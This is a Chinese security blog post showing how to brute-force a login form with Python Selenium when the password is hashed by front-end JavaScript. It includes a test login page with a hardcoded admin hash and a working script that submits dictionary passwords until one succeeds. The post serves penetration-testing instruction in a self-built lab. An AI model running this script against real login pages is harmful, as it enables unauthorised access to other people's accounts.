Python+selenium绕过前端js加密暴破登录

0x00 前言

有时在暴破登录框时,密码字段被加密了,不知道加密算法的话对暴破的进行会产生障碍,下面有几种解决方法。

  1. 分析前端 js 加密脚本。了解加密过程后用编程语言重写,将密码本加密后进行暴破。
  2. 利用相应工具或模板执行该 js 文件,拿到输出结果(python自带execjs)
  3. 使用 python 的 selenium 库来模拟浏览器自动化点击,绕过加密和时间戳。

快速定位前端加密方法:https://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/


0x01 Selenium基础

定位元素:

定位一个元素定位多个元素含义
find_element_by_idfind_elements_by_id通过元素id定位
find_element_by_namefind_elements_by_name通过元素name定位
find_element_by_xpathfind_elements_by_xpath通过xpath表达式定位
find_element_by_link_textfind_elements_by_link_tex通过完整超链接定位
find_element_by_partial_link_textfind_elements_by_partial_link_text通过部分链接定位
find_element_by_tag_namefind_elements_by_tag_name通过标签定位
find_element_by_class_namefind_elements_by_class_name通过类名进行定位
find_elements_by_css_selectorfind_elements_by_css_selector通过css选择器进行定位

webdriver模块常用方法:

方法说明
set_window_size()设置浏览器的大小
back()控制浏览器后退
forward()控制浏览器前进
refresh()刷新当前页面
clear()清除文本
send_keys (value)模拟按键输入
click()单击元素
submit()用于提交表单
get_attribute(name)获取元素属性值
is_displayed()设置该元素是否用户可见
size返回元素的尺寸
text获取元素的文本

参考链接:https://blog.csdn.net/weixin_36279318/article/details/79475388


0x02 模拟登录

因为是模拟点击,所以效率相对低一些。有的 js 加密结果有时间戳的影响,每次加密结果不一样,而使用Selenium模拟登录不会受其影响。

模拟环境:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.vuln.com/test/login.php/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.vuln.com/test/login.php">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>test</title>
    <script src="md5.js"></script>
    <script>
        function md5passwd(){
            passwd = document.getElementById("password").value;
            document.getElementById("password").value = hex_md5(passwd);
            return true;            
        }
    </script>
</head>
<form action="login.php" method="post" onsubmit="return md5passwd()">
        <table width="450" border="0" bgcolor="#000000" cellspacing="1" cellpadding="2"><!--cellspacing指相邻单元格之间的间距,cellpadding指控制单元格内部文字与边框的边距-->
        <tbody>
            <tr height="30">
                <td colspan="2" align="center" bgcolor="#CCCCCC"><font size="5">login</font></td>
            </tr>
            <tr height="30">
                <td width="150" align="right" bgcolor="#E6E6E6">username</td>
                <td width="300" bgcolor="#E6E6E6">
                    <input type="text" name="username" id="username" maxlength="20" size="15" /></td>
            </tr>
            <tr height="30">
                <td align="right" bgcolor="#E6E6E6">password</td>
                <td bgcolor="#E6E6E6">
                    <input name="password" type="password" id="password" size="15" maxlength="20" value=""/></td>
            </tr>
            <tr height="30">
                <td align="center" colspan="2" bgcolor="#CCCCCC">
                    <input type="submit" name="submit" id="submit" value="submit" />
                </td>
            </tr>
</form>
<?php
if( isset( $_POST[ 'username' ] ) ) {
    $user = $_POST[ 'username' ];
    $pass = $_POST[ 'password' ];
    echo "username: ",$user;
    echo "<br>";
    echo "password: ",$pass;
    echo "<br>";
    if ($pass == "8a30ec6807f71bc69d096d8e4d501ade" and $user == "admin"){
        echo "login successfully!";
    }else{
        echo "Login failed!";
    }
}
?>

当用户输入的账户密码为:admin / admin666 时登录成功

源代码:

from selenium import webdriver

driver = r'C:\Program Files\Mozilla Firefox\geckodriver.exe'
browser_option = webdriver.FirefoxOptions()


def start_firefox():
    browser = webdriver.Firefox(executable_path=driver, options=browser_option)
    browser.start_client()
    return browser


# url地址
browser = start_firefox()
browser.get("http://10.11.35.244/test/login.php")

def main():
    # 打开字典
    passwords = open("pass.txt", 'r', encoding='utf-8')
    passwords.seek(0)
    for password in passwords:
        # 标签位置
        user_name = browser.find_element_by_id('username')
        user_pass = browser.find_element_by_id('password')
        submit = browser.find_element_by_id("submit")

        user_name.send_keys('admin')
        user_pass.send_keys(password)
        submit.click()
        if 'failed' not in browser.page_source:    # 根据页面返回特征判断
            print('\n[+] 破解成功: ' + password)
            break
if __name__ == '__main__':
    main()

在这里插入图片描述
使用 selenium 不仅可以在不知道加密算法的时候暴破登录框,还可以在请求带有时间戳标记时暴破验证码,遇到了再补充吧。


参考链接:
https://segmentfault.com/a/1190000010179232(绕过前端加密进行爆破)
https://www.jianshu.com/p/b85f7d4f8c49(python模拟浏览器登录,绕过加密进行爆破)

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值